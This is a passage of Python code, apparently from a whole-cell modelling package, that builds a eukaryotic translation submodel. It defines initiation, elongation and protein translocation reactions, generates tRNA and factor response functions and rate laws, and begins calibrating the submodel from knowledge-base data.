coefficient=-1))\n init_reaction.participants.append(metabolites['h2o'][\n translation_compartment.id].species_coefficients.get_or_create(coefficient=-5))\n init_reaction.participants.append(metabolites['atp'][\n translation_compartment.id].species_coefficients.get_or_create(coefficient=-2))\n init_reaction.participants.append(metabolites['gtp'][\n translation_compartment.id].species_coefficients.get_or_create(coefficient=-2))\n \n # Adding participants to RHS \n init_reaction.participants.append(\n ribo_bound_species.species_coefficients.get_or_create(\n coefficient=1))\n init_reaction.participants.append(metabolites['h'][\n translation_compartment.id].species_coefficients.get_or_create(coefficient=5))\n init_reaction.participants.append(metabolites['amp'][\n translation_compartment.id].species_coefficients.get_or_create(coefficient=1))\n init_reaction.participants.append(metabolites['adp'][\n translation_compartment.id].species_coefficients.get_or_create(coefficient=1))\n init_reaction.participants.append(metabolites['gdp'][\n translation_compartment.id].species_coefficients.get_or_create(coefficient=2))\n init_reaction.participants.append(metabolites['pi'][\n translation_compartment.id].species_coefficients.get_or_create(coefficient=5))\n \n # Create elongation reaction\n protein_model = model.species_types.get_one(id=mrna_kb.protein.id).species.get_or_create(\n model=model, compartment=translation_compartment)\n protein_model.id = protein_model.gen_id()\n \n if not protein_model.distribution_init_concentration:\n conc_model = model.distribution_init_concentrations.create(\n species=protein_model,\n mean=0.,\n units=unit_registry.parse_units('molecule'),\n comments='Created and set to zero because the protein is translated ' +\\\n 'but not localized in this compartment'\n )\n conc_model.id = conc_model.gen_id()\n \n el_reaction = model.reactions.get_or_create(\n submodel=self.submodel, id='translation_elongation_' + mrna_kb.id,\n name='translation elongation of ' + mrna_kb.name,\n reversible=False, comments='Lumped reaction') \n \n aa_content[amino_acid_id_conversion[gvar.protein_aa_usage[mrna_kb.protein.id]['start_aa']]] -= 1\n\n # Adding participation of amino acids and other additional metabolites for forming selenocysteine\n serine_no = 0\n for aa_met, count in aa_content.items(): \n if count:\n # To add selenocysteine, seryl-tRNA is formed and phosphorylated before reacting with selenophosphate\n if aa_met == amino_acid_id_conversion['U']:\n serine_no = count\n serine_met = amino_acid_id_conversion['S']\n serine_species = metabolites[serine_met][translation_compartment.id]\n serine_coefficient = el_reaction.participants.get_one(\n species=serine_species)\n if serine_coefficient:\n old_coef = serine_coefficient.coefficient\n el_reaction.participants.remove(serine_coefficient)\n el_reaction.participants.add(\n serine_species.species_coefficients.get_or_create(\n coefficient=old_coef - count))\n else:\n el_reaction.participants.append(\n serine_species.species_coefficients.get_or_create(\n coefficient=-count))\n el_reaction.participants.append(metabolites['selnp'][\n translation_compartment.id].species_coefficients.get_or_create(\n coefficient=-count)) \n el_reaction.participants.append(metabolites['adp'][\n translation_compartment.id].species_coefficients.get_or_create(\n coefficient=count))\n el_reaction.participants.append(metabolites['ppi'][\n translation_compartment.id].species_coefficients.get_or_create(\n coefficient=count))\n else:\n aa_species = metabolites[aa_met][translation_compartment.id]\n aa_coefficient = el_reaction.participants.get_one(\n species=aa_species)\n if aa_coefficient:\n old_coef = aa_coefficient.coefficient\n el_reaction.participants.remove(aa_coefficient)\n el_reaction.participants.add(\n aa_species.species_coefficients.get_or_create(\n coefficient=old_coef - count))\n else: \n el_reaction.participants.append(\n aa_species.species_coefficients.get_or_create(\n coefficient=-count))\n\n # Adding general participants to LHS\n # Include 1 ATP hydrolysis for each tRNA-aa charging\n # Include 1 GTP hydrolysis for each peptide bond formation\n # Include 1 GTP hydrolysis at termination \n el_reaction.participants.append(ribo_bound_species.species_coefficients.get_or_create(\n coefficient=-1))\n el_reaction.participants.append(metabolites['gtp'][\n translation_compartment.id].species_coefficients.get_or_create(\n coefficient=-gvar.protein_aa_usage[mrna_kb.protein.id]['len']))\n el_reaction.participants.append(metabolites['atp'][\n translation_compartment.id].species_coefficients.get_or_create(\n coefficient=-(gvar.protein_aa_usage[mrna_kb.protein.id]['len']- 1 + serine_no))) \n el_reaction.participants.append(metabolites['h2o'][\n translation_compartment.id].species_coefficients.get_or_create(\n coefficient=-((gvar.protein_aa_usage[mrna_kb.protein.id]['len']-1)*2 + 1))) \n \n # Adding general participants to RHS\n el_reaction.participants.append(ribosome_complex.species_coefficients.get_or_create(\n coefficient=1))\n el_reaction.participants.append(ribo_binding_site_species.species_coefficients.get_or_create(\n coefficient=1))\n el_reaction.participants.append(protein_model.species_coefficients.get_or_create(\n coefficient=1))\n el_reaction.participants.append(metabolites['amp'][\n translation_compartment.id].species_coefficients.get_or_create(\n coefficient=gvar.protein_aa_usage[mrna_kb.protein.id]['len']-1))\n el_reaction.participants.append(metabolites['gdp'][\n translation_compartment.id].species_coefficients.get_or_create(\n coefficient=gvar.protein_aa_usage[mrna_kb.protein.id]['len']))\n el_reaction.participants.append(metabolites['pi'][\n translation_compartment.id].species_coefficients.get_or_create(\n coefficient=(gvar.protein_aa_usage[mrna_kb.protein.id]['len']-1)*3 + 1)) \n el_reaction.participants.append(metabolites['h'][\n translation_compartment.id].species_coefficients.get_or_create(\n coefficient=3*gvar.protein_aa_usage[mrna_kb.protein.id]['len'] - 2 - serine_no))\n\n init_el_rxn_no += 1\n \n # Create translocation reactions\n all_localized_comp = [i.compartment for i in model.species_types.get_one(\n id=mrna_kb.protein.id).species if i.compartment!=translation_compartment]\n self._translocation_reactions[mrna_kb] = {}\n for compartment in all_localized_comp:\n \n trans_reaction = model.reactions.get_or_create(\n submodel=self.submodel, id='translocation_{}_{}_to_{}'.format(\n mrna_kb.protein.id, translation_compartment.id ,compartment.id),\n name='translocation of {} from {} to {}'.format(\n mrna_kb.protein.name, translation_compartment.name, compartment.name),\n reversible=False, comments='Lumped reaction')\n self._translocation_reactions[mrna_kb][compartment] = trans_reaction\n\n if compartment.id=='n':\n energy_compartment = nucleus # GTP-dependent translocation\n energy_reactant = 'gtp'\n energy_product = 'gdp'\n elif compartment.id=='m':\n energy_compartment = mitochondrion # ATP-dependent translocation\n energy_reactant = 'atp'\n energy_product = 'adp'\n elif compartment.id=='x':\n energy_compartment = peroxisome # ATP-dependent translocation\n energy_reactant = 'atp'\n energy_product = 'adp'\n else:\n energy_compartment = cytosol # GTP-dependent translocation to other organelles and membranes through er\n energy_reactant = 'gtp'\n energy_product = 'gdp' \n\n # Adding participants to LHS\n # Include ATP/GTP hydrolysis during (co-translational and post-translational) translocation\n trans_reaction.participants.append(protein_model.species_coefficients.get_or_create(\n coefficient=-1))\n trans_reaction.participants.append(model.species_types.get_one(id=energy_reactant).species.get_one(\n compartment = energy_compartment).species_coefficients.get_or_create(coefficient=-1))\n trans_reaction.participants.append(model.species_types.get_one(id='h2o').species.get_one(\n compartment = energy_compartment).species_coefficients.get_or_create(coefficient=-1))\n\n # Adding participants to RHS\n trans_reaction.participants.append(protein_model.species_type.species.get_one(\n compartment=compartment).species_coefficients.get_or_create(coefficient=1))\n trans_reaction.participants.append(model.species_types.get_one(id=energy_product).species.get_one(\n compartment = energy_compartment).species_coefficients.get_or_create(coefficient=1))\n trans_reaction.participants.append(model.species_types.get_one(id='pi').species.get_one(\n compartment = energy_compartment).species_coefficients.get_or_create(coefficient=1))\n trans_reaction.participants.append(model.species_types.get_one(id='h').species.get_one(\n compartment = energy_compartment).species_coefficients.get_or_create(coefficient=1))\n \n trans_rxn_no += 1\n\n print('{} reactions each for initiation and elongation and {} reactions for protein translocation '\n 'have been generated'.format(init_el_rxn_no, trans_rxn_no)) \n\n def gen_rate_laws(self):\n \"\"\" Generate rate laws for the reactions in the submodel \"\"\"\n model = self.model\n cell = self.knowledge_base.cell\n\n amino_acid_id_conversion = self.options.get('amino_acid_id_conversion')\n beta = self.options.get('beta')\n codon_table = self.options['codon_table']\n cds = self.options['cds']\n selenoproteome = self.options['selenoproteome']\n\n cytoplasmic_ribosome = self.options.get('cytoplasmic_ribosome')\n mitochondrial_ribosome = self.options.get('mitochondrial_ribosome')\n cytoplasmic_initiation_factors = self.options.get('cytoplasmic_initiation_factors')\n mitochondrial_initiation_factors = self.options.get('mitochondrial_initiation_factors')\n cytoplasmic_elongation_factors = self.options.get('cytoplasmic_elongation_factors')\n mitochondrial_elongation_factors = self.options.get('mitochondrial_elongation_factors')\n cytoplasmic_chaperones = self.options.get('cytoplasmic_chaperones')\n mitochondrial_chaperones = self.options.get('mitochondrial_chaperones')\n er_chaperones = self.options.get('er_chaperones')\n \n cytosol = model.compartments.get_one(id='c')\n nucleus = model.compartments.get_one(id='n')\n mitochondrion = model.compartments.get_one(id='m')\n peroxisome = model.compartments.get_one(id='x')\n er = model.compartments.get_one(id='r')\n\n max_bool = model.parameters.get_or_create(\n id='max_bool_substance',\n type=None,\n value=1,\n units=unit_registry.parse_units('molecule'),\n comments='Boolean switch for determining if binding site is still available'\n )\n\n min_bool = model.parameters.get_or_create(\n id='min_bool_substance',\n type=None,\n value=0,\n units=unit_registry.parse_units('molecule'),\n comments='Boolean switch for determining if binding site is still available'\n ) \n\n # Generate response function for the tRNA(s) of each codon and for each amino acid\n trna_kb = cell.species_types.get(__type=wc_kb.eukaryote.TranscriptSpeciesType,\n type=wc_kb.eukaryote.TranscriptType.tRna)\n trna_grouping = {'c': {}, 'm': {}}\n for trna in trna_kb:\n anticodon_prop = trna.properties.get_one(property='anticodon:amino_acid').get_value().split(':')\n codons = ANTICODON_CODON_RECOGNITION_RULES[anticodon_prop[0]]\n for codon in codons:\n if trna.species[0].compartment.id == 'm':\n if codon in trna_grouping['m']: \n trna_grouping['m'][codon]['trna'].append(trna.id)\n trna_grouping['m'][codon]['anticodon'].append(anticodon_prop[0])\n else:\n trna_grouping['m'][codon] = {\n 'trna': [trna.id], \n 'anticodon': [anticodon_prop[0]], \n 'aa': anticodon_prop[1], \n }\n else:\n if codon in trna_grouping['c']: \n trna_grouping['c'][codon]['trna'].append(trna.id)\n trna_grouping['c'][codon]['anticodon'].append(anticodon_prop[0])\n else:\n trna_grouping['c'][codon] = {\n 'trna': [trna.id],\n 'anticodon': [anticodon_prop[0]], \n 'aa': anticodon_prop[1], \n }\n\n trna_functions = {'c': {}, 'm': {}}\n for comp, all_trnas in trna_grouping.items():\n for codon, trnas in all_trnas.items():\n compartment = mitochondrion if comp=='m' else cytosol\n\n # Import cytosolic tRNAs if mitochondrial tRNAs are not detected\n if comp=='m' and all(model.distribution_init_concentrations.get_one(\n id='dist-init-conc-{}[m]'.format(i)).mean==0 for i in trnas['trna']):\n trnas['trna'] += trna_grouping['c'][codon]['trna']\n self._import_cytosolic_trna_into_mitochondria(trna_grouping['c'][codon]['trna'])\n\n factor_exp, all_species, all_parameters, all_volumes, all_observables = utils.gen_response_functions(\n model, beta, 'translation_{}'.format(compartment.id), 'translation_{}'.format(compartment.id), \n compartment, [trnas['trna']])\n\n objects = {\n wc_lang.Species: all_species,\n wc_lang.Parameter: all_parameters,\n wc_lang.Observable: all_observables,\n wc_lang.Function: all_volumes, \n }\n\n anticodons = '_'.join(sorted(set(trnas['anticodon'])))\n trna_factor_function = model.functions.get_one( \n id='trna_function_{}_{}'.format(anticodons, compartment.id))\n\n if not trna_factor_function: \n\n trna_expression, error = wc_lang.FunctionExpression.deserialize(factor_exp[0], objects)\n assert error is None, str(error)\n\n trna_factor_function = model.functions.create( \n id='trna_function_{}_{}'.format(anticodons, compartment.id), \n name='tRNA response function for anticodon(s) {} in {}'.format(\n anticodons, compartment.name),\n expression=trna_expression,\n units=unit_registry.parse_units(''),\n )\n \n trna_functions[comp][codon] = {\n 'function': trna_factor_function,\n 'aa': trnas['aa'],\n 'objects':objects,\n }\n\n aa_functions = {'c': {}, 'm': {}}\n for aa, aa_id in amino_acid_id_conversion.items():\n if aa!='U':\n for compartment in [cytosol, mitochondrion]:\n factor_exp, all_species, all_parameters, all_volumes, all_observables = utils.gen_response_functions(\n model, beta, 'translation_{}'.format(compartment.id), 'translation_{}'.format(compartment.id), \n compartment, [[aa_id]])\n\n objects = {\n wc_lang.Species: all_species,\n wc_lang.Parameter: all_parameters,\n wc_lang.Observable: all_observables,\n wc_lang.Function: all_volumes, \n } \n \n aa_expression, error = wc_lang.FunctionExpression.deserialize(factor_exp[0], objects)\n assert error is None, str(error)\n\n aa_functions[compartment.id][aa_id] = {\n 'function': model.functions.create( \n id='aminoacid_function_{}_{}'.format(aa_id, compartment.id), \n name='response function for amino acid {} in {}'.format(aa_id, compartment.name),\n expression=aa_expression,\n units=unit_registry.parse_units(''),\n ),\n 'objects': objects\n }\n \n # Generate response function for each translation initiation factor group\n init_factor_functions = {'c': {}, 'm': {}}\n for comp, factors in {cytosol: cytoplasmic_initiation_factors, mitochondrion: mitochondrial_initiation_factors}.items():\n n = 1\n for factor in factors:\n factor_exp, all_species, all_parameters, all_volumes, all_observables = utils.gen_response_functions(\n model, beta, 'translation_init_{}'.format(comp.id), 'translation_init_{}'.format(comp.id), comp, [factor])\n\n objects = {\n wc_lang.Species: all_species,\n wc_lang.Parameter: all_parameters,\n wc_lang.Observable: all_observables,\n wc_lang.Function: all_volumes, \n } \n \n expression, error = wc_lang.FunctionExpression.deserialize(factor_exp[0], objects)\n assert error is None, str(error)\n\n init_factor_functions[comp.id][','.join(factor)] = {\n 'function': model.functions.create( \n id='translation_init_factor_function_{}_{}'.format(comp.id, n), \n name='response function for translation initiation factor {} in {}'.format(n, comp.name),\n expression=expression,\n units=unit_registry.parse_units(''),\n ),\n 'objects': objects}\n n += 1\n\n # Generate response function for each translation elongation factor group\n el_factor_functions = {'c': {}, 'm': {}}\n for comp, factors in {cytosol: cytoplasmic_elongation_factors, mitochondrion: mitochondrial_elongation_factors}.items():\n n = 1\n for factor in factors:\n factor_exp, all_species, all_parameters, all_volumes, all_observables = utils.gen_response_functions(\n model, beta, 'translation_el_{}'.format(comp.id), 'translation_el_{}'.format(comp.id), comp, [factor])\n\n objects = {\n wc_lang.Species: all_species,\n wc_lang.Parameter: all_parameters,\n wc_lang.Observable: all_observables,\n wc_lang.Function: all_volumes, \n } \n \n expression, error = wc_lang.FunctionExpression.deserialize(factor_exp[0], objects)\n assert error is None, str(error)\n\n el_factor_functions[comp.id][','.join(factor)] = {\n 'function': model.functions.create( \n id='translation_el_factor_function_{}_{}'.format(comp.id, n), \n name='response function for translation elongation factor {} in {}'.format(n, comp.name),\n expression=expression,\n units=unit_registry.parse_units(''),\n ),\n 'objects': objects}\n n += 1\n \n # Generate response function for each translocation factor/chaperone group\n trans_factor_functions = {'c': {}, 'm': {}, 'r': {}}\n for comp, factors in {cytosol: cytoplasmic_chaperones, mitochondrion: mitochondrial_chaperones, er: er_chaperones}.items():\n n = 1\n for factor in factors:\n factor_exp, all_species, all_parameters, all_volumes, all_observables = utils.gen_response_functions(\n model, beta, 'translocation_{}'.format(comp.id), 'translocation_{}'.format(comp.id), comp, [factor])\n\n objects = {\n wc_lang.Species: all_species,\n wc_lang.Parameter: all_parameters,\n wc_lang.Observable: all_observables,\n wc_lang.Function: all_volumes, \n } \n \n expression, error = wc_lang.FunctionExpression.deserialize(factor_exp[0], objects)\n assert error is None, str(error)\n\n trans_factor_functions[comp.id][','.join(factor)] = {\n 'function': model.functions.create( \n id='translocation_factor_function_{}_{}'.format(comp.id, n), \n name='response function for translocation factor {} in {}'.format(n, comp.name),\n expression=expression,\n units=unit_registry.parse_units(''),\n ),\n 'objects': objects}\n n += 1 \n \n rate_law_no = 0 \n mrna_kbs = [i for i in cell.species_types.get(__type=wc_kb.eukaryote.TranscriptSpeciesType) \\\n if i.type==wc_kb.eukaryote.TranscriptType.mRna] \n for mrna_kb in mrna_kbs:\n \n mrna_kb_compartment_id = mrna_kb.species[0].compartment.id\n if mrna_kb_compartment_id == 'c':\n ribosome_complex = model.species_types.get_one(\n name=cytoplasmic_ribosome).species.get_one(compartment=cytosol)\n initiation_factors = cytoplasmic_initiation_factors\n elongation_factors = cytoplasmic_elongation_factors\n translation_compartment = cytosol \n else:\n ribosome_complex = model.species_types.get_one(\n name=mitochondrial_ribosome).species.get_one(compartment=mitochondrion)\n initiation_factors = mitochondrial_initiation_factors\n elongation_factors = mitochondrial_elongation_factors\n translation_compartment = mitochondrion\n\n # Generate rate law for initiation\n init_reaction = model.reactions.get_one(id='translation_initiation_' + mrna_kb.id)\n \n specific_binding_constant = model.parameters.create(\n id='{}_ribosome_binding_constant'.format(mrna_kb.id),\n type=None,\n units=unit_registry.parse_units('molecule^-2 s^-1'),\n )\n\n objects = {\n wc_lang.Species: {},\n wc_lang.Parameter: {},\n wc_lang.Observable: {},\n wc_lang.Function: {}, \n }\n expression_terms = []\n for factor in initiation_factors:\n factor_details = init_factor_functions[translation_compartment.id][','.join(factor)]\n expression_terms.append(factor_details['function'].id)\n for cl, dictionary in objects.items():\n dictionary.update(factor_details['objects'][cl])\n objects[wc_lang.Function][factor_details['function'].id] = factor_details['function']\n\n start_codon = gvar.protein_aa_usage[mrna_kb.protein.id]['start_codon'].replace('U', 'T')\n start_aa_met = amino_acid_id_conversion[gvar.protein_aa_usage[mrna_kb.protein.id]['start_aa']]\n matched_trnas = [trna_functions[translation_compartment.id][start_codon]] \n for codon_info in matched_trnas:\n expression_terms.append(codon_info['function'].id)\n objects[wc_lang.Function][codon_info['function'].id] = codon_info['function'] \n for cl, dictionary in objects.items():\n dictionary.update(codon_info['objects'][cl]) \n \n expression_terms.append(aa_functions[translation_compartment.id][\n start_aa_met]['function'].id)\n objects[wc_lang.Function][aa_functions[translation_compartment.id][\n start_aa_met]['function'].id] = aa_functions[translation_compartment.id][\n start_aa_met]['function']\n for cl, dictionary in objects.items():\n dictionary.update(aa_functions[translation_compartment.id][\n start_aa_met]['objects'][cl]) \n \n objects[wc_lang.Species][ribosome_complex.id] = ribosome_complex\n objects[wc_lang.Species][self._allowable_queue_len[mrna_kb.id][0].id]= self._allowable_queue_len[mrna_kb.id][0]\n\n objects[wc_lang.Parameter][max_bool.id] = max_bool\n objects[wc_lang.Parameter][min_bool.id] = min_bool\n objects[wc_lang.Parameter][specific_binding_constant.id] = specific_binding_constant\n \n expression = '{} * {} * max(min({} , {}) , {}) * {} * 2**{}'.format(\n specific_binding_constant.id,\n ribosome_complex.id,\n self._allowable_queue_len[mrna_kb.id][0].id,\n max_bool.id,\n min_bool.id,\n ' * '.join(expression_terms),\n len(expression_terms),\n )\n\n init_rate_law_expression, error = wc_lang.RateLawExpression.deserialize(expression, objects)\n assert error is None, str(error)\n\n init_rate_law = model.rate_laws.create(\n direction=wc_lang.RateLawDirection.forward,\n type=None,\n expression=init_rate_law_expression,\n reaction=init_reaction,\n units=unit_registry.parse_units('s^-1'), \n )\n init_rate_law.id = init_rate_law.gen_id()\n \n # Generate rate law for elongation and termination\n elongation_reaction = model.reactions.get_one(id='translation_elongation_' + mrna_kb.id)\n\n objects = {\n wc_lang.Species: {},\n wc_lang.Parameter: {},\n wc_lang.Observable: {},\n wc_lang.Function: {}, \n }\n expression_terms = []\n for factor in elongation_factors:\n factor_details = el_factor_functions[translation_compartment.id][','.join(factor)]\n expression_terms.append(factor_details['function'].id)\n for cl, dictionary in objects.items():\n dictionary.update(factor_details['objects'][cl])\n objects[wc_lang.Function][factor_details['function'].id] = factor_details['function']\n \n if codon_table == 1:\n codon_id = 1\n else:\n codon_id = codon_table[mrna_kb.protein.id]\n coding_rna_seq, _, _ = mrna_kb.protein.get_seq_and_start_codon(table=codon_id, cds=cds)\n codon_seq = str(coding_rna_seq).upper().replace('U','T')\n non_processed_all_codons = [codon_seq[i * 3:(i + 1) * 3] for i in range((len(codon_seq) + 3 - 1) // 3 )]\n start_codon_index = 0 \n for codon in non_processed_all_codons:\n if codon != start_codon:\n start_codon_index += 1\n else:\n break\n all_codons = sorted(set(non_processed_all_codons[start_codon_index + 1:]))\n for i in all_codons:\n if len(i)==3:\n if i in UNCONDITIONAL_STOP_CODON:\n pass\n elif i in CONDITIONAL_STOP_CODON and mrna_kb.gene.id not in selenoproteome:\n pass \n else:\n if translation_compartment.id == 'c': \n matched_trnas = [trna_functions[translation_compartment.id][i]]\n else:\n if i in trna_functions[translation_compartment.id]:\n matched_trnas = [trna_functions[translation_compartment.id][i]]\n else:\n cytosolic_trna_ids = trna_grouping['c'][i]['trna']\n self._import_cytosolic_trna_into_mitochondria(cytosolic_trna_ids)\n\n factor_exp, all_species, all_parameters, all_volumes, all_observables = \\\n utils.gen_response_functions(model, beta, 'translation_m', 'translation_m', \n translation_compartment, [cytosolic_trna_ids])\n\n added_objects = {\n wc_lang.Species: all_species,\n wc_lang.Parameter: all_parameters,\n wc_lang.Observable: all_observables,\n wc_lang.Function: all_volumes, \n }\n\n anticodons = '_'.join(sorted(set(trna_grouping['c'][i]['anticodon'])))\n trna_factor_function = model.functions.get_one( \n id='trna_function_{}_m'.format(anticodons))\n\n if not trna_factor_function:\n\n trna_expression, error = wc_lang.FunctionExpression.deserialize(\n factor_exp[0], added_objects)\n assert error is None, str(error)\n \n trna_factor_function = model.functions.create( \n id='trna_function_{}_m'.format(anticodons), \n name='tRNA response function for anticodon(s) {} in {}'.format(\n anticodons, translation_compartment.name),\n expression=trna_expression,\n units=unit_registry.parse_units(''),\n )\n \n trna_functions['m'][i] = {\n 'function': trna_factor_function,\n 'aa': trna_functions['c'][i]['aa'],\n 'objects': added_objects,\n }\n matched_trnas = [trna_functions[translation_compartment.id][i]] \n \n for codon_info in matched_trnas: \n expression_terms.append(codon_info['function'].id)\n objects[wc_lang.Function][codon_info['function'].id] = codon_info['function'] \n for cl, dictionary in objects.items():\n dictionary.update(codon_info['objects'][cl]) \n\n selcys = 0\n for key, value in gvar.protein_aa_usage[mrna_kb.protein.id].items():\n aa_id = 'S' if key=='U' else key \n if aa_id in amino_acid_id_conversion and value:\n selcys += 1 if key=='U' else 0\n aa_met = amino_acid_id_conversion[aa_id]\n if aa_met==start_aa_met and value-1==0: \n pass\n else: \n if aa_functions[translation_compartment.id][aa_met][\n 'function'].id not in expression_terms:\n \n expression_terms.append(aa_functions[translation_compartment.id][\n aa_met]['function'].id)\n objects[wc_lang.Function][aa_functions[translation_compartment.id][\n aa_met]['function'].id] = aa_functions[translation_compartment.id][\n aa_met]['function']\n for cl, dictionary in objects.items():\n dictionary.update(aa_functions[translation_compartment.id][\n aa_met]['objects'][cl])\n \n other_mets = [['gtp'], ['atp']] + ([['selnp']] if selcys else [])\n expressions, all_species, all_parameters, all_volumes, all_observables = utils.gen_response_functions(\n model, beta, elongation_reaction.id, 'translation_elongation', translation_compartment, other_mets)\n expression_terms += expressions\n objects[wc_lang.Species].update(all_species)\n objects[wc_lang.Parameter].update(all_parameters)\n objects[wc_lang.Function].update(all_volumes)\n objects[wc_lang.Observable].update(all_observables)\n \n ribo_bound_species = model.species_types.get_one(id='ribo_bound_{}'.format(mrna_kb.id)).species[0]\n objects[wc_lang.Species][ribo_bound_species.id] = ribo_bound_species\n\n k_cat_elongation = model.parameters.create(\n id='k_cat_{}'.format(elongation_reaction.id),\n type=wc_ontology['WC:k_cat'],\n units=unit_registry.parse_units('molecule^-1 s^-1'),\n )\n objects[wc_lang.Parameter][k_cat_elongation.id] = k_cat_elongation\n\n expression = '{} * {} * {} * 2**{}'.format(\n k_cat_elongation.id,\n ribo_bound_species.id,\n ' * '.join(expression_terms),\n len(expression_terms),\n )\n\n el_rate_law_expression, error = wc_lang.RateLawExpression.deserialize(expression, objects)\n assert error is None, str(error)\n \n el_rate_law = model.rate_laws.create(\n direction=wc_lang.RateLawDirection.forward,\n type=None,\n expression=el_rate_law_expression,\n reaction=elongation_reaction,\n )\n el_rate_law.id = el_rate_law.gen_id()\n \n rate_law_no += 1\n \n # Generate rate law for translocation\n trans_rxn_no = 0 \n for reaction in self.submodel.reactions:\n if 'translocation' in reaction.id:\n\n translation_compartment = model.compartments.get_one(id=reaction.id.split('_')[2]) \n target_compartment_id = '_'.join(reaction.id.split('_')[4:])\n \n if target_compartment_id=='n':\n energy_compartment = nucleus\n energy_reactant = 'gtp'\n chaperones = []\n elif target_compartment_id=='m':\n energy_compartment = mitochondrion\n energy_reactant = 'atp'\n chaperones = mitochondrial_chaperones\n chaperone_compartment = mitochondrion \n elif target_compartment_id=='x':\n energy_compartment = peroxisome\n energy_reactant = 'atp'\n chaperones = []\n else:\n energy_compartment = cytosol\n energy_reactant = 'gtp'\n chaperones = er_chaperones\n chaperone_compartment = er\n\n objects = {\n wc_lang.Species: {},\n wc_lang.Parameter: {},\n wc_lang.Observable: {},\n wc_lang.Function: {}, \n }\n expression_terms = []\n for factor in chaperones:\n factor_details = trans_factor_functions[chaperone_compartment.id][','.join(factor)]\n expression_terms.append(factor_details['function'].id)\n for cl, dictionary in objects.items():\n dictionary.update(factor_details['objects'][cl])\n objects[wc_lang.Function][factor_details['function'].id] = factor_details['function'] \n\n expressions, all_species, all_parameters, all_volumes, all_observables = utils.gen_response_functions(\n model, beta, reaction.id, 'translocation', energy_compartment, [[energy_reactant]])\n expression_terms += expressions\n objects[wc_lang.Species].update(all_species)\n objects[wc_lang.Parameter].update(all_parameters)\n objects[wc_lang.Function].update(all_volumes)\n objects[wc_lang.Observable].update(all_observables)\n\n k_cat_translocation = model.parameters.create(\n id='k_cat_{}'.format(reaction.id),\n type=wc_ontology['WC:k_cat'],\n units=unit_registry.parse_units('molecule^-1 s^-1'),\n )\n objects[wc_lang.Parameter][k_cat_translocation.id] = k_cat_translocation\n\n protein_species = model.species_types.get_one(\n id=reaction.id.split('_')[1]).species.get_one(compartment=translation_compartment)\n objects[wc_lang.Species][protein_species.id] = protein_species\n\n volume = translation_compartment.init_density.function_expressions[0].function\n objects[wc_lang.Function][volume.id] = volume\n\n expression = '{} * {} * {} * 2**{}'.format(\n k_cat_translocation.id,\n protein_species.id,\n ' * '.join(expression_terms),\n len(expression_terms),\n )\n\n trans_rate_law_expression, error = wc_lang.RateLawExpression.deserialize(expression, objects)\n assert error is None, str(error)\n \n trans_rate_law = model.rate_laws.create(\n direction=wc_lang.RateLawDirection.forward,\n type=None,\n expression=trans_rate_law_expression,\n reaction=reaction,\n )\n trans_rate_law.id = trans_rate_law.gen_id()\n \n trans_rxn_no += 1\n \n print('{} rate laws for initiation reactions, {} rate laws for elongation '\n 'reactions and {} rate laws for translocation reactions have been generated'.format(\n rate_law_no, rate_law_no, trans_rxn_no)) \n \n def calibrate_submodel(self):\n \"\"\" Calibrate the submodel using data in the KB \"\"\"\n \n model = self.model \n cell = self.knowledge_base.cell\n\n nucleus = model.compartments.get_one(id='n')\n mitochondrion = model.compartments.get_one(id='m')\n cytosol = model.compartments.get_one(id='c')\n peroxisome = model.compartments.get_one(id='x')\n er = model.compartments.get_one(id='r')\n\n init_compartment_volumes = {\n nucleus.id: nucleus.init_volume.mean * nucleus.init_density.value,\n mitochondrion.id: mitochondrion.init_volume.mean * mitochondrion.init_density.value,\n cytosol.id: cytosol.init_volume.mean * cytosol.init_density.value,\n peroxisome.id: peroxisome.init_volume.mean * peroxisome.init_density.value,\n er.id: er.init_volume.mean * er.init_density.value,\n }\n\n beta = self.options.get('beta')\n polysome_fraction = self.options['polysome_fraction']\n cytoplasmic_ribosome = self.options.get('cytoplasmic_ribosome')\n mitochondrial_ribosome = self.options.get('mitochondrial_ribosome')\n\n cytoplasmic_ribosome_species = model.species_types.get_one(\n name=cytoplasmic_ribosome).species.get_one(compartment=cytosol)\n mitochondrial_ribosome_species = model.species_types.get_one(\n name=mitochondrial_ribosome).species.get_one(compartment=mitochondrion)\n\n Avogadro = self.model.parameters.get_or_create(\n id='Avogadro',\n type=None,\n value=scipy.constants.Avogadro,\n units=unit_registry.parse_units('molecule mol^-1'))\n\n mean_doubling_time = model.parameters.get_one(id='mean_doubling_time').value \n \n mrna_kbs = [i for i in cell.species_types.get(__type=wc_kb.eukaryote.TranscriptSpeciesType) \\\n if i.type==wc_kb.eukaryote.TranscriptType.mRna]\n \n # Determine initial concentrations of ribosome bound sites and update the concentrations of free ribosomes\n cytoplasmic_bound_ribosomes = 0\n mitochondrial_bound_ribosomes = 0 \n for mrna_kb in mrna_kbs: \n\n mrna_kb_compartment_id = mrna_kb.species[0].compartment.id\n \n if mrna_kb_compartment_id == 'c': \n\n ribo_bound_conc = polysome_fraction[mrna_kb.id] * \\\n cytoplasmic_ribosome_species.distribution_init_concentration.mean \n cytoplasmic_bound_ribosomes += ribo_bound_conc\n \n else:\n\n ribo_bound_conc = polysome_fraction[mrna_kb.id] * \\\n mitochondrial_ribosome_species.distribution_init_concentration.mean\n mitochondrial_bound_ribosomes += ribo_bound_conc\n\n ribo_bound_species = model.species_types.get_one(id='ribo_bound_{}'.format(\n mrna_kb.id)).species[0] \n ribo_bound_species.distribution_init_concentration.mean = ribo_bound_conc\n \n cytoplasmic_ribosome_species.distribution_init_concentration.mean -= cytoplasmic_bound_ribosomes \n mitochondrial_ribosome_species.distribution_init_concentration.mean -= mitochondrial_bound_ribosomes\n \n # Calibrate initiation and elongation reactions\n determined_init_kcat = []\n undetermined_init_kcat = []\n determined_el_kcat = []\n undetermined_el_kcat = []\n determined_transloc_kcat = []\n undetermined_transloc_kcat = []\n for mrna_kb in mrna_kbs:\n\n mrna_kb_compartment_id = mrna_kb.species[0].compartment.id\n ribosome_complex = cytoplasmic_ribosome_species if mrna_kb_compartment_id == 'c' else mitochondrial_ribosome_species\n\n protein_model = model.species_types.get_one(id=mrna_kb.protein.id)\n \n complex_model_stoic = {model.species_types.get_one(id=i.id):j.coefficient for i in cell.species_types.get(\n __type=wc_kb.core.ComplexSpeciesType) for j in i.subunits if j.species_type==mrna_kb.protein}\n\n total_concentration = sum([i.distribution_init_concentration.mean for i in protein_model.species]) + \\\n sum([i.distribution_init_concentration.mean*v for k,v in complex_model_stoic.items() for i in k.species \\\n if i.distribution_init_concentration])\n half_life = mrna_kb.protein.properties.get_one(property='half-life').get_value()\n\n average_rate = utils.calc_avg_syn_rate(\n total_concentration, half_life, mean_doubling_time)\n\n # Calibrate initiation reaction\n 